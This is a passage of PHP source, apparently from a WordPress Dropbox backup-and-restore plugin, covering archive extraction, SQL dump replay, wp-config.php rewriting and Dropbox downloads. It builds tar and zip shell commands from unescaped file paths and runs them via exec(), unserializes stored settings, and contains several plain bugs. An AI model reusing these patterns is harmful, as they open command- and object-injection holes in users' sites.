returnArray($query, $limit = 1, $res_type = '', $key = "", $value = "") { if ($query && self::num($query) > 0) { $res = false; if ($limit == 1) { $rec = self::fetch($query, $res_type); $res = self::value_keys($rec, $key, $value); } else { if (!empty($key) && !empty($value)) { while ($rec = self::fetch($query, $res_type)) { $res[$rec[$key]] = $rec[$value]; } } elseif (empty($key) && !empty($value)) { while ($rec = self::fetch($query, $res_type)) { $res[] = $rec[$value]; } } elseif (empty($value) && !empty($key)) { while ($rec = self::fetch($query, $res_type)) { $res[$rec[$key]] = $rec; } } elseif ($limit != -1) { $i = 1; while ($rec = self::fetch($query, $res_type)) { if ($i >= $limit) { break; } $res[] = $rec; $i++; } } else { while ($rec = self::fetch($query, $res_type)) { $res[] = $rec; } } } return $res; } return false; } private static function fetch ($res, $res_type = '') { if (defined('MYSQL_BOTH') && empty( $res_type ) ) { $res_type = MYSQL_BOTH; } elseif( defined('MYSQLI_BOTH') && empty( $res_type ) ) { $res_type = MYSQLI_BOTH; } if (self::$is_mysqli) { return mysqli_fetch_array($res, $res_type); } else { return mysql_fetch_array($res, $res_type); } } public static function value_keys($array_from, $key = "", $value = "") { $returned = array(); if (!empty($key) && !empty($value)) { if (isset($array_from[$key]) && isset($array_from[$value])) { $returned[$array_from[$key]] = $array_from[$value]; } } elseif(empty($key) && !empty($value)) { if (isset($array_from[$value])) { $returned = $array_from[$value]; } } elseif(empty($value) && !empty($key)) { if (isset($array_from[$key])) { $returned[$array_from[$key]] = $array_from; } } else { $returned = $array_from; } return $returned; } } } if ( !class_exists('dbr_api') ) { class dbr_api { public static function post($url, $post, $options = array() ) { $info = array(); $result = ''; if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) { $curl = curl_init($url); $post = http_build_query($post, '', '&'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post); if (!empty($options)) { if(isset($options['timelimit'])) { curl_setopt($curl, CURLOPT_TIMEOUT, $options['timelimit']); } } $result = curl_exec($curl); $info = curl_getinfo($curl); curl_close($curl); } elseif (function_exists("fsockopen")) { include_once 'HttpFsockopen.php'; $socket = new HttpFsockopen($url, false); $socket->setPostData($post); if (isset($options['timelimit'])) { $socket->setTimeout($options['timelimit']); } $res = $socket->exec(); $res = self::getResult($res); if (isset($res[1])) { $result = $res[1]; } } return array('res' => $result, 'info' => $info ); } public static function getResult ($str, $patern = "\r\n\r\n", $is_json = false) { if ($is_json === false) { return explode($patern, $str); } else { $res = explode($patern, $str); $n = count($res); $result = ''; for($i = 0; $i < $n; $i++) { if ( preg_match_all("/[\{\"\:\,\}\s]+/is", trim($res[$i]), $r ) ) { $result .= str_replace(array("\r", "\n"), '', $res[$i]); } } return $result; } } } } if ( !class_exists('dbr_helper') ) { class dbr_helper { private static $cron_is_work = 90; public static function testOtherArchive() { dbr_log::log('Testing of TarGz under shell'); $res_tar = self::TarGz( DBP_PATH_TMP . '/test.tar.gz', array(DBP_PATH_TMP .'/index.php', DBP_PATH_TMP .'/.htaccess'), ABSPATH ); if ($res_tar === true) { dbr_log::log('Testing of TarGz under shell was finished successfully'); dbr_helper::setCommand('test_targz_c', true); } dbr_log::log('Testing of unTarGz under shell'); $res_tar = self::unTarGz( DBP_PATH_TMP . '/test.tar.gz', DBP_PATH_TMP . '/test/' ); if ($res_tar === true) { dbr_log::log('Testing of unTarGz under shell was finished successfully'); dbr_helper::setCommand('test_targz_c', true); } dbr_log::log('Testing of Zip under shell'); $res_zip = self::Zip( DBP_PATH_TMP . '/test.zip', array(DBP_PATH_TMP .'/index.php', DBP_PATH_TMP .'/.htaccess'), ABSPATH ); if ($res_tar === true) { dbr_log::log('Testing of ZIP under shell was finished successfully'); dbr_helper::setCommand('test_zip_c', true); } } public static function getCommandToArchive($file_name, $type = 'zip_archive', $files = array(), $type_action = 'create', $remove_path = '' ) { $return = ''; $remove_dir = ''; switch($type) { case 'zip_archive': if ($type_action == 'create') { if (!empty( $remove_path ) ) { $remove_dir = 'cd ' . $remove_path. ' &&'; $files_str = '"' . implode('" "', $files) . '"'; $files_str = str_replace($remove_path, './', $files_str); $zip = str_replace($remove_path, './', $file_name); } else { $files_str = '"' . implode('" "', $files) . '"'; $zip = $file_name; } $return .= trim( "$remove_dir zip {$zip} " . $files_str ); } else { $zip = $file_name; if (!empty( $remove_path ) ) { // for extract this param of directory to $remove_dir = 'cd ' . $remove_path . ' &&'; } $exclude = ''; if ( !empty( $files ) ) { // exclude file $exclude = ' -x ' . '"' . implode('" "', $files) . '"'; } $return .= trim( "$remove_dir unzip -o {$zip} $exclude" ); } break; case 'tar_archive': if ( strpos($file_name, '.zip') !== false ) { $file_name = str_replace('.zip', '.tar.gz', $file_name); } if (!empty( $remove_path ) ) { $remove_dir = '-C "' . $remove_path . '" '; } if ($type_action == 'create') { $files_str = '"' . implode('" "', $files) . '"'; $files_str = str_replace($remove_path, './', $files_str); $u = 'c'; if (file_exists($file_name)) { $u = 'r'; } $return = trim( "tar -{$u}zvf {$file_name} " . $remove_dir . $files_str ); } else { $return = trim( "tar zxvf \"{$file_name}\" " . $remove_dir ); } break; } return $return; } public static function parseResultZip($command_return) { $add = 0; $error = 0; if (!empty( $command_return) ) { $n = count($command_return); for($i = 0; $i < $n; $i++) { if (strpos($command_return[$i], 'add') !== false || strpos($command_return[$i], 'updating') !== false || strpos($command_return[$i], 'inflating') !== false) { $add ++; } elseif (strpos($command_return[$i], 'error') !== false || strpos($command_return[$i], 'warning') !== false ) { $error++; $this->error .= " " . $command_return[$i]; } } } return array( 'add' => $add, 'error' => $error ); } public static function TarGz($file_name, $files, $delete_foler = '') { $command = self::getCommandToArchive($file_name, 'tar_archive', $files, 'create', $delete_foler); if (!empty($command)) { $result_command = @exec($command, $command_return); if (count($files) == count($command_return)) { return true; } if (count($command_return) > 0) { return true; } if (file_exists($file_name)) { return true; } return "Files not adding to arhive"; } return false; } public static function unTarGz($file_name, $dir_to) { $command = self::getCommandToArchive($file_name, 'tar_archive', array(), 'etract', $dir_to); if (!empty($command)) { $result_command = @exec($command, $command_return); if (count($command_return) > 0) { return true; } if (file_exists($file_name)) { return true; } return "Files not adding to arhive"; } return false; } public static function Zip($file_name, $files, $delete_foler = '') { $command = self::getCommandToArchive($file_name, 'zip_archive', $files, 'create', $delete_foler); if (!empty($command)) { $result_command = @exec($command, $command_return); $res = self::parseResultZip($command_return); if ($res['add'] == count($files)) { return true; } if ( file_exists( $file_name ) && $res['error'] === 0 ) { return true; } } return false; } public static function unZip($file_name, $dir_to, $exclude = array() ) { $command = self::getCommandToArchive($file_name, 'zip_archive', $exclude, 'extract', $dir_to); if (!empty($command)) { $result_command = @exec($command, $command_return); $res = self::parseResultZip($command_return); if ( $res['error'] === 0 ) { return true; } } return false; } public static function check_invalid_utf8( $string, $strip = false ) { $string = (string) $string; if ( 0 === strlen( $string ) ) { return ''; } // preg match invalid UTF8 if ( 1 === @preg_match( '/^./us', $string ) ) { return $string; } if ( $strip && function_exists( 'iconv' ) ) { return iconv( 'utf-8', 'utf-8', $string ); } return ''; } public static function strip_all_tags($string, $remove_breaks = false) { $string = preg_replace( '@<(script|style)[^>]*?>.*?</\\1>@si', '', $string ); $string = strip_tags($string); if ( $remove_breaks ) $string = preg_replace('/[\r\n\t ]+/', ' ', $string); return trim( $string ); } public static function less_than( $text ) { return preg_replace_callback('%<[^>]*?((?=<)|>|$)%', array('dbr_helper', 'less_than_callback'), $text); } public static function less_than_callback( $matches ) { if ( false === strpos($matches[0], '>') ) return self::to_html($matches[0]); return $matches[0]; } public static function to_html($string, $quote_style = ENT_NOQUOTES) { $string = (string) $string; if ( 0 === strlen( $string ) ) return ''; if ( ! preg_match( '/[&<>"\']/', $string ) ) return $string; if ( empty( $quote_style ) ) $quote_style = ENT_NOQUOTES; elseif ( ! in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) $quote_style = ENT_QUOTES; $charset = 'UTF-8'; $string = @htmlspecialchars( $string, $quote_style, $charset, $double_encode ); if ( 'single' === $_quote_style ) $string = str_replace( "'", ''', $string ); return $string; } public static function sanitize($str, $is_newlines = false) { $filter = self::check_invalid_utf8( $str ); if ( strpos($filter, '<') !== false ) { $filter = self::less_than( $filter ); $filter = self::strip_all_tags( $filter, false ); $filter = str_replace("<\n", "<\n", $filter); } if ( !$is_newlines ) { $filter = preg_replace( '/[\r\n\t ]+/', ' ', $filter ); } $filter = trim( $filter ); return $filter; } public static function modSecureInstalled() { $contents = ''; if (defined('INFO_MODULES') && function_exists('phpinfo')) { ob_start(); @phpinfo(INFO_MODULES); $contents = ob_get_clean(); } return strpos($contents, 'mod_security') !== false; } public static function is_writable($file_dir = '') { if (!empty($file_dir)) { if (is_dir($file_dir)) { @file_put_contents($file_dir . "/test.file", 'test writable'); if ( file_exists($file_dir . "/test.file") && is_writable($file_dir . "/test.file") && filesize($file_dir . "/test.file") > 0 ) { return true; } } if (file_exists($file_dir) && is_file($file_dir)) { return is_writable($file_dir); } } return false; } public static function setError($txt) { throw new Exception($txt); } public static function is_work($time = '', $type = '') { $res = true; $file = DBP_PATH_TMP . '/cron-restore.data'; if (file_exists($file)) { $cron = dbr_helper::unpack( @file_get_contents($file) ); if (empty($time)) { if (isset($cron['finish'])) { $res = true; } else { if (isset($cron['start']) && ( $cron['start'] + self::$cron_is_work ) < time() ) { $res = false; } } } else { $cron[$type] = $time; @file_put_contents($file, dbr_helper::pack($cron) ); } } else { if (!empty($time)) { $cron[$type] = $time; @file_put_contents($file, dbr_helper::pack($cron) ); } $res = false; } return $res; } public static function getProjectName() { $name_running_backup = ''; $site_url = dbr_database::db_get('options', array('option_value'), array('option_name' => 'siteurl'), 1); if (isset($site_url['option_value'])) { $name_running_backup = str_replace("http://", '', $site_url['option_value']); $name_running_backup = str_replace("https://", '', $name_running_backup); $name_running_backup = preg_replace("|\W|", "_", trim($name_running_backup, '/') ); } return $name_running_backup; } public static function clearTMP() { if (is_dir(DBP_PATH_TMP)) { $files = opendir(DBP_PATH_TMP); while($file = readdir($files)) { if (file_exists(DBP_PATH_TMP . '/' . $file)) { @unlink(DBP_PATH_TMP . '/' . $file); } } self::createDefaultFiles(DBP_PATH_TMP); // @rmdir(DBP_PATH_TMP); } } public static function createDefaultFiles($dir) { if (!file_exists($dir . '/index.php')) { @file_put_contents($dir . '/index.php', '<?php echo "Hello World!"; '); if ( !is_writable($dir . '/index.php') ) { return str_replace("&s", $dir . '/index.php' , 'Backup creating<br /><br />Please check the permissions on file "&s". Failed to create file.' ); } } if (!file_exists($dir . '/.htaccess')) { @file_put_contents($dir . '/.htaccess', 'DENY FROM ALL'); } return true; } public static function unpack_setting($str) { return unserialize( base64_decode( $str ) ); } public static function pack_setting($str) { return base64_encode( serialize( $str ) ); } public static function pack($data) { if (defined('JSON_HEX_TAG') && defined('JSON_HEX_QUOT') && defined('JSON_HEX_AMP') && defined('JSON_HEX_APOS') ) { return base64_encode( json_encode ( $data, JSON_HEX_QUOT|JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_APOS ) ) ; } return base64_encode( json_encode ( $data ) ) ; } public static function unpack($data) { return json_decode( base64_decode( $data ), true ); } public static function mkdir($path) { $error = ''; if (!is_dir($path)) { @mkdir($path, 0755); if (!is_dir($path)) { $error = str_replace("%s", $dir, 'Failed to create a file, please check the permissions on the folders "%s".' ); } @file_put_contents($path . '/index.php', '<?php // create automatically' ); if ( !is_writable($path . '/index.php') ) { $error = str_replace("%s", $dir, 'Failed to create a file, please check the permissions on the folders "%s".'); } } return $error; } public static function setCommand($command, $value, $key = '' ) { if (!is_dir(DBP_PATH_TMP)) { self::mkdir(DBP_PATH_TMP); } $data = array(); if (file_exists(DBP_PATH_TMP . '/' . $command )) { $data = self::unpack(@file_get_contents( DBP_PATH_TMP . '/' . $command ) ); } if (!empty($key)) { $data[$key] = $value; } else { $data = $value; } @file_put_contents(DBP_PATH_TMP . '/' . $command, self::pack($data) ); } public static function getCommand($command, $key = '') { if (file_exists(DBP_PATH_TMP . '/' . $command)) { $tmp = dbr_helper::unpack( @file_get_contents(DBP_PATH_TMP . '/' . $command) ); if (!empty($key) ) { if (isset($tmp[$key])) { return $tmp[$key]; } } else { return $tmp; } } return false; } static function rmdir($dir) { if (is_dir($dir)) { $dir_open = opendir($dir); while($f = readdir($dir_open)) { if ($f == '..' or $f == '.') { continue; } if (is_dir($dir . '/' . $f)) { self::rmdir($dir . '/' . $f); } if (file_exists($dir . '/' . $f)) { @unlink($dir . '/' . $f); } } @rmdir($dir); } elseif (is_file($dir)) { @unlink($dir); } } } } if ( !class_exists('dbr_log') ) { class dbr_log { public static function log($txt = '', $class = '') { if (!empty($txt)) { dbr_helper::mkdir(DBP_PATH_TMP); $log_file = DBP_PATH_TMP . '/log-restore.log'; @file_put_contents($log_file, date("Y-m-d H:i:s") ."\t{$class}\t{$txt}\n", FILE_APPEND); } } public static function getLog() { $log_file = DBP_PATH_TMP . '/log-restore.log'; if (file_exists($log_file)) { $log2 = DBP_PATH_TMP. "/log-restore2"; $log = @file_get_contents($log_file); if (file_exists($log2)) { $text = @file_get_contents($log2); file_put_contents($log2, $log); $log = str_replace($text, "", $log); } else { @file_put_contents($log2, $log); } $log = explode("\n", $log); krsort($log); $log_array = $log; return $log_array; } return array(); } } } if ( !class_exists('dbr_core') ) { class dbr_core { } } if ( !class_exists('dbr_methods') ) { class dbr_methods{ private $setting_restore = array(); private $main = array(); private $md5_info = array(); private $dir_backup = ''; private $files_resotre = array(); /** * MAIN METHOD * */ public function wpadm_logs_method() { $json = array(); $json['log'] = dbr_log::getlog(); if ( isset($_POST['type-backup']) && $_POST['type-backup'] == 'restore' ) { if (file_exists(DBP_PATH_TMP . '/result-restore')) { $json['data'] = dbr_helper::getCommand('result-restore'); } } $mod_security = dbr_helper::getCommand('mod_security'); if ($mod_security) { $json['mod_secur'] = true; } echo json_encode ( $json ); exit; } /** * MAIN METHOD * */ public function restore_method() { $this->setting_restore = dbr_helper::getCommand('restore-backup'); if (isset($this->setting_restore['action'])) { dbr_log::log('Start restoring of backup "' . $this->setting_restore['name'] . '"'); $setting = dbr_database::db_get('options', array('option_value'), array('option_name' => 'wpadm_backup_dropbox-setting'), 1); if (isset($setting['option_value'] )) { $this->main = dbr_helper::unpack_setting( $setting['option_value'] ); } $backup_dir = WP_CONTENT_DIR . '/' . DROPBOX_BACKUP_DIR_NAME; if (isset($this->main['backup_folder']) && !empty($this->main['backup_folder'])) { $backup_dir = $this->main['backup_folder']; } $this->base_dir = $backup_dir; $this->dir_backup = $backup_dir . "/{$this->setting_restore['name']}"; switch($this->setting_restore['action']) { case 'wpadm_restore_dropbox': if ( $this->dowloadDropbox() ) { $this->parseFilesToRestore(); $this->restoreFiles(); $this->restoreDataBase(); dbr_helper::rmdir($this->dir_backup); } break; case 'wpadm_local_restore': $this->parseFilesToRestore(); $this->restoreFiles(); $this->restoreDataBase(); break; } } else { dbr_helper::setError('Unknown action of backup method to start restoring.'); } } private function restoreDataBase() { dbr_log::log('Database restoring was started'); $file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql'; if (!file_exists($file)) { dbr_helper::setError( 'Error: dump/database file wasn\'t found' ); } $fo = fopen($file, "r"); if (!$fo) { dbr_helper::setError( 'Error of opening dump/database file' ); } $position_read_file = dbr_helper::getCommand( 'position-sql' ); if ($position_read_file && is_int($position_read_file) && $position_read_file > 0) { fseek($fo, $position_read_file); } dbr_helper::is_work(time(), 'start'); $sql = ""; while(false !== ($char = fgetc($fo))) { $sql .= $char; if ($char == ";") { $char_new = fgetc($fo); if ($char_new !== false && $char_new != "\n") { $sql .= $char_new; } else { $is_sql = true; if ( strpos($sql, '_transient_timeout_drb_running') !== false ) { $is_sql = false; } if ( strpos($sql, '_transient_drb_running') !== false ) { $is_sql = false; } if ( strpos($sql, PREFIX_BACKUP_ . "_commands") !== false ) { $is_sql = false; } if ( strpos($sql, PREFIX_BACKUP_ . "proccess-command") !== false ) { $is_sql = false; } if ($is_sql) { $arr_sql = dbr_helper::getCommand('sql-restore'); if ( !isset( $arr_sql[md5($sql)] ) || $arr_sql === false ) { $ress = dbr_database::query( $sql ); dbr_helper::is_work(time(), 'start'); if (stripos($sql, 'create') !== false) { preg_match("/CREATE[\s]{1,}TABLE[\s]{1,}`(.*)`/iUu", $sql, $table_insert) ; if (isset($table_insert[1]) && !empty($table_insert[1])) { dbr_log::log('Restore table `' . $table_insert[1] . '`'); } } if (isset($ress) && ( $ress === false || !empty( dbr_database::$error ) ) ) { if (stripos(dbr_database::$error, 'duplicate entry') === false) { dbr_helper::setError('MySQL Error: ' . dbr_database::$error . ' sql: ' . $sql ); break; } } dbr_helper::setCommand('position-sql', ftell($fo) ); $arr_sql[md5($sql)] = 1; dbr_helper::setCommand('sql-restore', $arr_sql); } } if (isset($ress) && ( $ress === false || !empty( dbr_database::$error ) ) ) { if (stripos(dbr_database::$error, 'duplicate entry') === false) { dbr_helper::setError('MySQL Error: ' . dbr_database::$error . ' sql: ' . $sql ); break; } } $sql = ""; } } } // ----------------- set command for create backup to null dbr_database::db_update('options', array('option_value' => serialize( array() ) ), array('option_name' => PREFIX_BACKUP_ . "_commands") ); dbr_database::db_update('options', array('option_value' => serialize( array() ) ), array('option_name' => PREFIX_BACKUP_ . "proccess-command") ); // ----------------- dbr_helper::setCommand('result-restore', array('name' => $this->setting_restore['name'], 'result' => 'success')); dbr_log::log( 'Database restoring was finished successfully' ); } private function parseFilesToRestore() { $md5_info = dbr_helper::getCommand('md5_info-restore'); $file_list = dbr_helper::getCommand('files-list-retore'); if (!$md5_info || !$file_list) { dbr_log::log('Reading backup files and creating of file list for restoring process'); dbr_helper::is_work(time(), 'start'); $dir_open = opendir($this->dir_backup); $file_md5 = ''; while($d = readdir($dir_open)) { if ($d != "." && $d != '..') { if(strpos($d, ".zip") !== false) { $this->files_resotre[$d] = $this->dir_backup . "/$d"; } if(substr($d, -7) == '.tar.gz') { $this->files_resotre[$d] = $this->dir_backup . "/$d"; dbr_helper::setCommand('targz', true); } if(strpos($d, ".md5") !== false) { $file_md5 = $this->dir_backup . "/$d"; } } } dbr_helper::setCommand('files-list-retore', $this->files_resotre); dbr_helper::is_work(time(), 'start'); if (!empty($file_md5)) { if (file_exists($file_md5)) { $this->md5_info = explode ("\n", @file_get_contents( $file_md5 ) ); // delemiter \t (1 - file name, 2 - md5_file, 3 - zip file) dbr_helper::setCommand('md5_info-restore', $this->md5_info); dbr_helper::is_work(time(), 'start'); } else { dbr_helper::setError('Error of MD5 file parsing during restoring of backup'); } } else { dbr_helper::setError('Error during creating of MD5 file list for restoring process. Backup files wasn\'t found'); } } else { $this->md5_info = $md5_info; $this->files_resotre = $file_list; } } private function reconfig() { dbr_helper::is_work(time(), 'start'); if ( dbr_helper::is_writable(ABSPATH . 'wp-config.php') === false) { dbr_helper::setError( "File 'wp-config.php' is not writable" ); } $db_params = array( 'password' => 'DB_PASSWORD', 'db' => 'DB_NAME', 'user' => 'DB_USER', 'host' => 'DB_HOST', 'charset' => 'DB_CHARSET', ); $r = "/define\([\s]{0,}['\"]{1}(.*)['\"]{1}[\s]{0,},[\s]{0,}['\"]{1}(.*)['\"]{1}[\s]{0,}\)/"; $config = @file_get_contents(ABSPATH . "wp-config.php"); preg_match_all($r, $config, $m); $params = array_combine( $m[1], $m[2] ); $change_config = false; foreach($db_params as $k => $p) { $db_params[$k] = $params[$p]; if (dbr_database::$db_params[$k] != $db_params[$k]) { $change_config = true; } } dbr_helper::is_work(time(), 'start'); if ($change_config) { dbr_log::log('Configure file "wp-config.php" was started'); $patterns = array(); $patterns[0] = "/define[\s]{0,}\([\s]{0,}'DB_PASSWORD'[\s]{0,},[\s]{0,}'(.*)'[\s]{0,}\)/"; $patterns[1] = "/define[\s]{0,}\([\s]{0,}'DB_NAME'[\s]{0,},[\s]{0,}'(.*)'[\s]{0,}\)/"; $patterns[2] = "/define[\s]{0,}\([\s]{0,}'DB_USER'[\s]{0,},[\s]{0,}'(.*)'[\s]{0,}\)/"; $patterns[3] = "/define[\s]{0,}\([\s]{0,}'DB_HOST'[\s]{0,},[\s]{0,}'(.*)'[\s]{0,}\)/"; $patterns[4] = "/define[\s]{0,}\([\s]{0,}'DB_CHARSET'[\s]{0,},[\s]{0,}'(.*)'[\s]{0,}\)/"; $replacements = array(); $replacements[0] = "define('DB_PASSWORD', '" . dbr_database::$db_params['password'] . "')"; $replacements[1] = "define('DB_NAME', '" . dbr_database::$db_params['db'] . "')"; $replacements[2] = "define('DB_USER', '" . dbr_database::$db_params['user'] . "')"; $replacements[3] = "define('DB_HOST', '" . dbr_database::$db_params['host'] . "')"; $replacements[4] = "define('DB_CHARSET', '" . dbr_database::$db_params['charset'] . "')"; $config = preg_replace($patterns, $replacements, $config); //$config = preg_replace("/table_prefix[\s]{0,}=[\s]{0,}[\"']{1}(.*)[\"']{1}/U", "table_prefix = '" . dbr_database::$db_prefix . "'", $config); $write = @file_put_contents(ABSPATH . "wp-config.php", $config); dbr_helper::is_work(time(), 'start'); if (!$write) { dbr_helper::setError( "File 'wp-config.php' is not writable" ); } dbr_log::log('Configure file "wp-config.php" was successfully'); } } private function restoreFiles() { $files = dbr_helper::getCommand('files-list-retore'); if ($files) { dbr_helper::is_work(time(), 'start'); if ( empty( $this->md5_info ) ) { $this->md5_info = dbr_helper::getCommand('md5_info-restore'); } $zip_database = dbr_helper::getCommand('zip-database'); if (!$zip_database) { $while = true; while($while) { $file_info = array_pop($this->md5_info); if (strpos($file_info, 'mysqldump.sql') !== false && strpos($file_info, DROPBOX_BACKUP_DIR_NAME) !== false) { $info = explode("\t", $file_info); if (isset($info[2])) { $zip_database = $info; dbr_helper::setCommand('zip-database', $zip_database); $while = false; } } } } $zip_config = dbr_helper::getCommand('zip-config'); if ($zip_config === false || $zip_config != null) { $md5_info = dbr_helper::getCommand('md5_info-restore'); $while = true; if($md5_info) { while($while) { $file_info = array_shift($md5_info); if (strpos($file_info, 'wp-config.php') !== false) { $info = explode("\t", $file_info); if (isset($info[2])) { $zip_config = $info; dbr_helper::setCommand('zip-config', $zip_config); $while = false; } } } dbr_helper::setCommand('zip-config', null); } } $tar_gz = dbr_helper::getCommand('targz'); if (!$tar_gz) { include 'pclzip.lib.php'; } foreach($files as $f => $file) { $extract_files = dbr_helper::getCommand('extract-files-restore'); if (!isset($extract_files[$f])) { dbr_log::log('Data will be decompressed of ' . basename($file)); if (strpos($f, '.zip')) { if (file_exists($file) && filesize($file) > 0) { $test_zip = dbr_helper::getCommand('test_zip_c'); if ($test_zip) { $unzip = dbr_helper::unZip($file, ABSPATH_REAL, array('wp-content/plugins/dropbox-backup/*', 'wp-content/plugins/dropbox-backup-pro/*') ); if ($unzip) { if ($zip_config && strpos($file, $zip_config[2]) !== false) { $this->reconfig(); } $extract_files[$f] = true; dbr_helper::setCommand('extract-files-restore', $extract_files); continue; } else { dbr_log::log('Data will be decompressed of ' . basename($file) . ' wasn\'t successful. Try other method "PclZip"'); dbr_helper::setCommand('test_zip_c', false); } } $archive = new PclZip($file); $unzip = $archive->extract( PCLZIP_CB_PRE_EXTRACT, 'dbr_extract_func', PCLZIP_OPT_PATH, ABSPATH, PCLZIP_OPT_REPLACE_NEWER /// extracted all files & databasedump ); if ($unzip== 0) { dbr_helper::setError("Error during extracting of archive: " . $archive->errorInfo(true) ); } if ($zip_config && strpos($file, $zip_config[2]) !== false) { dbr_helper::is_work(time(), 'start'); if ( dbr_helper::is_writable(ABSPATH . 'wp-config.php') === false) { dbr_helper::setError( "File 'wp-config.php' is not writable" ); } $archive = new PclZip($file); $unzip = $archive->extract(PCLZIP_OPT_BY_EREG, "/wp-config.php$/", PCLZIP_OPT_PATH, ABSPATH, PCLZIP_OPT_REPLACE_NEWER ); if ($unzip == 0) { dbr_helper::setError("Error during extracting of database config from archive: " . $archive->errorInfo(true) ); } $this->reconfig(); } if ($zip_database && strpos($file, $zip_database[2]) !== false) { $archive = new PclZip($file); $unzip = $archive->extract(PCLZIP_OPT_PATH, ABSPATH, PCLZIP_OPT_REPLACE_NEWER, PCLZIP_OPT_BY_EREG, "/mysqldump.sql$/" ); if ($unzip== 0) { dbr_helper::setError("Error during extracting of dump/database from archive: " . $archive->errorInfo(true) ); } } $extract_files[$f] = true; dbr_helper::setCommand('extract-files-restore', $extract_files); dbr_helper::is_work(time(), 'start'); } else { dbr_helper::setError('File (' . $file . ') for restoring wasn\'t found or file size is 0 byte'); } } elseif ($tar_gz) { if (file_exists($file) && filesize($file) > 0) { $test_targz = dbr_helper::getCommand('test_targz_c'); dbr_helper::is_work(time(), 'start'); if ($test_targz) { $untargz = dbr_helper::unTarGz($file, rtrim( ABSPATH_REAL , '/'), array('wp-content/plugins/dropbox-backup/*', 'wp-content/plugins/dropbox-backup-pro/*') ); if ($untargz) { if ($zip_config && strpos($file, $zip_config[2]) !== false) { $this->reconfig(); } $extract_files[$f] = true; dbr_helper::setCommand('extract-files-restore', $extract_files); dbr_helper::is_work(time(), 'start'); continue; } else { dbr_log::log('Data will be decompressed of ' . basename($file) . ' wasn\'t successful. Try other method "PHP tar class"'); dbr_helper::setCommand('test_targz_c', false); } } include_once 'archive.php' ; dbr_helper::is_work(time(), 'start'); $gz = new wpadm_gzip_file($file); $gz->set_options(array( 'overwrite' => 1, 'basedir' => ABSPATH ) ); $gz->exclude = 'dbr_extract_func_targz'; $gz->extract_gz_files(); dbr_helper::is_work(time(), 'start'); if (!empty( $gz->warning ) ) { foreach($gz->warning as $warning) { dbr_log::log($warning); } } if (!empty($gz->error)) { dbr_helper::setError( implode("\n", $gz->error) ); } unset($gz); if ($zip_config && strpos($file, $zip_config[2]) !== false) { dbr_helper::is_work(time(), 'start'); if ( dbr_helper::is_writable(ABSPATH . 'wp-config.php') === false) { dbr_helper::setError( "File 'wp-config.php' is not writable" ); } $gz = new wpadm_gzip_file($file); $gz->set_options(array( 'overwrite' => 1, 'basedir' => ABSPATH ) ); $gz->include_files("/wp-config\.php/"); dbr_helper::is_work(time(), 'start'); $gz->extract_gz_files(); dbr_helper::is_work(time(), 'start'); $this->reconfig(); } $extract_files[$f] = true; dbr_helper::setCommand('extract-files-restore', $extract_files); } } } } } else { dbr_helper::setError('Restoration file list wasn\'t created or is empty. Please, check if folder exists and elso check folder rights. Folder path: ' . $this->dir_backup); } } private function dowloadDropbox() { $success = dbr_helper::getCommand('download-with-dropbox-restore', 'success'); if ($success) { return true; } include "dropbox.class.php"; $setting = dbr_database::db_get('options', array('option_value'), array('option_name' => 'wpadm_backup_dropbox-setting'), 1); if (isset($setting['option_value'] )) { $this->main = dbr_helper::unpack_setting( $setting['option_value'] ); } if (!empty($this->main)) { if (isset($this->main['app_key']) && isset($this->main['app_secret']) && ( isset($this->main['auth_token_secret']) || ( isset($this->main['access_token']) && isset( $this->main['token_type'] ) ) ) ) { if (isset($this->main['auth_token_secret'])) { $dropbox = new dropbox($this->main['app_key'], $this->main['app_secret'], $this->main['auth_token_secret']); } else { $dropbox = new dropbox($this->main['app_key'], $this->main['app_secret']); $dropbox->setAccessToken2( $this->main['access_token'], $this->main['token_type'] ); } if ($dropbox->isAuth() || $dropbox->isAuth2() ) { dbr_helper::is_work(time(), 'start'); dbr_log::log('Connect to dropbox was successful'); dbr_helper::mkdir($this->dir_backup); $folder_project = dbr_helper::getProjectName(); $name_backup = $this->setting_restore['name']; $file_list = dbr_helper::getCommand('download-with-dropbox-restore', 'file-list'); if ($file_list === false) { dbr_log::log('Getting list of files from Dropbox'); $files = $dropbox->listing("$folder_project/$name_backup"); if (isset($files['error']) ) { dbr_helper::setError('Dropbox answered: ' . $files['text']); } dbr_helper::setCommand('download-with-dropbox-restore', $files, 'file-list'); dbr_helper::is_work(time(), 'start'); } else { $files = $file_list; } if (isset($files['items'])) { dbr_log::log('File list was created successful'); $n = count($files['items']); dbr_log::log('Starting of files download from Dropbox'); for($i = 0; $i < $n; $i++) { $files_download = dbr_helper::getCommand('download-with-dropbox-restore', 'download'); if (!isset($files_download[$files['items'][$i]['name']])) { $res = $dropbox->downloadFile("$folder_project/$name_backup/{$files['items'][$i]['name']}", "{$this->dir_backup}/{$files['items'][$i]['name']}"); if ($res != "{$this->dir_backup}/{$files['items'][$i]['name']}" && isset($res['text'])) { dbr_helper::setError( 'During download of file "' . $files['items'][$i]['name'] . '" an error occurred: ' . $res['text'] ); } else { $log = str_replace('%s', $files['items'][$i]['name'], 'File (%s) was successfully downloaded from Dropbox' ); dbr_log::log($log); if (file_exists("{$this->dir_backup}/{$files['items'][$i]['name']}") && filesize("{$this->dir_backup}/{$files['items'][$i]['name']}") > 0) { $files_download[$files['items'][$i]['name']] = true; dbr_helper::setCommand('download-with-dropbox-restore', $files_download, 'download' ); dbr_helper::is_work(time(), 'start'); } } } } $md5 = glob($this->dir_backup . '/*.md5'); if (count( $md5 ) == 0) { dbr_helper::setError( "File list from MD5 file wasn't loaded. Please, check folder and file access permissions " . $this->dir_backup . " and MD5 file in this folder with file access permissions"); } dbr_helper::setCommand('download-with-dropbox-restore', true, 'success'); return true; } } else { dbr_helper::setError('Authentication error during connect to Dropbox. Please, try again later'); } } else { dbr_helper::setError('Dropbox connection settings wasn\'t found or wrong. Please, check Dropbox connections settings'); } } else { dbr_helper::setError('Dropbox connection settings wasn\'t found or wrong. Please, check Dropbox connections settings'); } } } } if (!class_exists('dbr_route')) { if (!defined('ABSPATH')) { define('ABSPATH', dirname(__FILE__) . '/../../../../'); } if (!defined('ABSPATH_REAL')) { $dir = dirname(__FILE__); $dir = str_replace("\\", '/', $dir); $dir_arr = explode("/", $dir); for($i = 